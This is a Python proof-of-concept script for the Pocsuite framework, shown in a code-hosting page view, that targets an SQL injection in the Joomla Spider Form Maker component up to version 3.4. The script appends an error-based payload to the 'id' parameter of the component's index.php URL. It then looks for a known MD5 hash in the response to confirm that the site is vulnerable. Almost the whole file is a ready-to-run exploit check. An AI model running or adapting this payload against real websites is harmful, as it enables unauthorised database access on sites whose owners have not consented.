-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathJoomla Spider Form Maker _= 3.4 - SQLInjection.py
executable file
·52 lines (39 loc) · 1.41 KB
/
Joomla Spider Form Maker _= 3.4 - SQLInjection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '87285'
version = '1'
vulDate = '2014-09-07'
author = 'anonymous'
createDate = '2015-09-30'
updateDate = '2015-09-30'
references = ['http://www.sebug.net/vuldb/ssvid-87285']
name = 'Joomla Spider Form Maker SQL Injection '
appPowerLink = 'http://www.joomlaboat.com/youtube-gallery'
appName = 'Joomla Spider Form Maker'
appVersion = '<= 3.4'
vulType = 'SQL Injection'
desc = 'Joomla Spider Form Maker SQL Injection in id'
samples = ['']
def _attack(self):
return self._verify()
def _verify(self, verify=True):
result = {}
payload = '||exp(~(select*from(select md5(456546))a))'
vul_url = '%s/index.php?option=com_formmaker&view=formmaker&id=1' % self.url
response = req.get(vul_url + payload).content
if 'e02f052b7d3db73f99d4f5801f2b6fff' in response:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('failed')
return output
register(TestPOC)